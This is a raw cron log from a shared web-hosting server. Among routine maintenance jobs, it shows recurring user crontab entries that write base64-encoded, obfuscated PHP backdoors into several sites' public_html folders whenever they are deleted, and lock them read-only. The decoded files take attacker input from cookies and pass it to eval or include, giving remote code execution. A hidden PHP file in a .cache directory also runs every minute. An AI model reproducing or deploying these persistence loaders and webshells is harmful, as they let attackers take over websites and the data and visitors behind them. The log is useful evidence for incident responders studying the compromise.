Jun  7 07:51:02 medusa CROND[26866]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:51:02 medusa CROND[26867]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:52:02 medusa CROND[28812]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:52:02 medusa CROND[28813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:52:02 medusa CROND[28814]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:52:02 medusa CROND[28815]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:52:02 medusa CROND[28816]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:52:02 medusa CROND[28817]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:52:02 medusa CROND[28818]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:52:02 medusa CROND[28820]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:52:02 medusa CROND[28821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:52:02 medusa CROND[28822]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:52:02 medusa CROND[28825]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:52:02 medusa CROND[28827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:52:02 medusa CROND[28824]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:53:02 medusa CROND[30609]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:53:02 medusa CROND[30610]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:53:02 medusa CROND[30612]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:53:02 medusa CROND[30611]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:53:02 medusa CROND[30614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:53:02 medusa CROND[30613]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:53:02 medusa CROND[30618]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:53:02 medusa CROND[30616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:53:02 medusa CROND[30620]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:53:02 medusa CROND[30622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:53:02 medusa CROND[30625]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:53:02 medusa CROND[30627]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:54:01 medusa CROND[32319]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:54:01 medusa CROND[32352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:54:01 medusa CROND[32353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:54:01 medusa CROND[32356]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:54:01 medusa CROND[32354]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:54:01 medusa CROND[32358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:54:01 medusa CROND[32359]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:54:01 medusa CROND[32361]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
